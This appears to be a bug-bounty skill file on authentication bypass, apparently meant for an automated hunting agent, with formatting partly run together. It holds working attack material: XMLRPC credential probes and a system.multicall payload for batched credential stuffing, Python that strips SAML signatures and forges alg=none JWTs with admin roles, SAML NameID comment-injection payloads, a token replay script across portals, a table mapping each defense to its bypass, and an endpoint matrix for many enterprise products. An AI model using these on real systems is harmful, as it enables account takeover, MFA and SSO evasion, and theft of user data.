buggy HunterAuthentication bypass — JWT alg=none, weak HMAC secrets, path traversal in auth middleware, and HTTP verb override bypass.
Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
partners.shopify.com, admin.company.comURL patterns to hunt:
/xmlrpc.php /wp-login.php /saml/ /sso/ /auth/saml/callback /oauth/callback /partners.* /admin.* /?wc-api= /api/v*/auth /login?redirect= /accounts/loginResponse headers signaling SSO:
X-Frame-Options: SAMEORIGIN (common on SSO portals) Set-Cookie: SAMLResponse= Location: https://idp.company.com/saml WWW-Authenticate: Bearer realm="partners"JS patterns indicating federated auth:
// Look for in page source samlRequest RelayState SAMLResponse onelogin shibboleth okta passport.js authenticateTech stack signals:
SimpleSAMLphp, ruby-saml, python-samlSAMLResponse in any POST bodyopenid_connect or id_token in responses.company.com (wildcard)robots.txt, JS files, and the wayback machine for forgotten endpoints like /xmlrpc.php
/xmlrpc.php even if the main login is SSO-protected
/xmlrpc.php
- XMLRPC uses WordPress-native credentials, not SSO — test with system.listMethods first, then wp.getUsersBlogs
partners.shopify.com type portals
- Attempt to use the issued token/cookie against the main admin portal
- Look for shared cookie domains, shared JWT secrets, or API tokens that work across contexts
password[]=array, SQL in username field
- Try admin/admin, test/test on staging subdomains
- Modify role, is_admin, user_type in JWTs (none algorithm, weak secret)
state from OAuth break anything?
- Can you change redirect_uri to an open redirect target?
- Does the RelayState in SAML get validated?
When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
| Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
|---|---|---|
| WordPress | /xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall) | Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php |
| WordPress (REST) | /?rest_route=/wp/v2/users, /wp-json/wp/v2/users | User enumeration anonymously even when login page is hardened |
| SharePoint (any version) | /_vti_bin/Authentication.asmx (Mode + Login SOAP ops) | Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass |
| SharePoint legacy | /_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dll | FrontPage RPC; sometimes still wired to credential validators |
| SharePoint REST | /_api/contextinfo (POST), /_api/$metadata | Anonymous FormDigest issuance; full API surface enumeration |
| Atlassian (Jira / Confluence) | /rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/ | Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
| Drupal | /jsonapi/, /user/login?_format=json | JSON POST endpoint that accepts native passwords; separate from SSO middleware |
| Drupal (D7 legacy) | /?q=user/login, /services/, /rest/ | Older REST modules with independent auth |
| Joomla | /administrator/index.php?option=com_login, /api/index.php/v1/users | Native Joomla credentials accepted on admin entry independent of any front-site SSO |
| Exchange / OWA | /EWS/Exchange.asmx, /Autodiscover/Autodiscover.xml, /Microsoft-Server-ActiveSync | NTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface |
| Citrix NetScaler | /vpn/index.html, /cgi/login, /nf/auth/doAuthentication.do | Native AD credentials; independent of MFA wrappers |
| F5 BIG-IP | /mgmt/tm/util/bash, /tmui/login.jsp | Native admin credentials |
| Generic ASP.NET app | *.asmx?WSDL, *.svc?WSDL, trace.axd, elmah.axd, .disco | Find every web service; many take credentials independently of the WebForms login |
| Spring Boot | /actuator/*, /management/*, /api/v1/auth/login, /api/v1/swagger-ui | Actuator endpoints sometimes anonymously enumerable |
| Jenkins | /jnlpJars/jenkins-cli.jar, /script, /manage, /computer/(master)/script | API tokens + native auth |
| GitLab | /api/v3/* (deprecated but still on old installs), /api/v4/users, /api/v4/projects | Personal Access Tokens with looser scoping than UI session |
| TeamCity | /app/rest/users, /login.html?username=&password= (GET-form-login) | Native admin credentials |
| Apache Tomcat | /manager/html, /host-manager/html, /manager/text/list | Native Tomcat realm credentials independent of any front auth |
| WebLogic | /console/login/LoginForm.jsp, /wls-wsat/* | Native admin |
| Oracle EBS / PeopleSoft | /OA_HTML/AppsLogin, /psp/*/?cmd=login | Native ERP credentials |
hunt-misc Attack Surface Signals).customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
XMLRPC auth probe (bypasses SSO):
curl -s -X POST https://target.com/xmlrpc.php \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth: curl -s -X POST https://target.com/xmlrpc.php \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value><string>admin</string></value></param> <param><value><string>password</string></value></param> </params> </methodCall>'
SAML signature stripping (send unsigned assertion):
import base64, re
# Decode captured SAMLResponse saml_b64 = "BASE64_FROM_BURP" saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit print(base64.b64encode(stripped.encode()).decode())
SAML XML comment injection (username confusion):
<!-- Original NameID --> <NameID>attacker@evil.com</NameID>
<!-- Injected to confuse parser --> <NameID>attacker@evil.com<!---->.victim@company.com</NameID>
<!-- Or namespace confusion --> <NameID xmlns:evil="http://evil.com">victim@company.com</NameID>
Partner/cross-portal token reuse test:
# Get token from partner portal TOKEN=$(curl -s -X POST https://partners.target.com/login \ -d 'email=attacker@test.com&password=pass' \ -c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal curl -s https://admin.target.com/dashboard \ -H "Authorization: Bearer $TOKEN" \ -H "Cookie: $TOKEN"
JWT none algorithm attack:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=') payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=') token = f"{header}.{payload}." print(token)
Grep patterns for auth bypass surface:
# Find XMLRPC in scope grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.wantAssertionsSigned: false or fail to configure the IdP certificate correctly.| Defense | Bypass |
|---|---|
| SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
| SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
| IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
| Rate limiting on login | XMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request |
| CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback |
| JWT signature validation | alg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
| Separate session stores per portal | Check if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains |
| MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<!-- repeat for each credential pair -->
</data></array></value></param></params>
</methodCall>Before writing any report, answer these three questions:
Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
Scenario 2 — SAML Assertion Forgery via Signature Validation Failure A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
<Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>
- Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
- Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
site_admin
- Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
- Year: 2024 — bounty undisclosed, CVSS 10.0
uchat.uberinternal.com ([H1 #223014](https://hackerone.com/reports/223014))NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
- Root cause: improper SAML signature verification on SP implementation
- Year: 2017 — $8,500
@@@nopass@@@. SSO plugin blocked wp-login.php only. POST xmlrpc.php with wp.getUsersBlogs + known shared password → authenticated as any previously-SSO'd user
- Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
- Year: 2016 — $7,000
\r,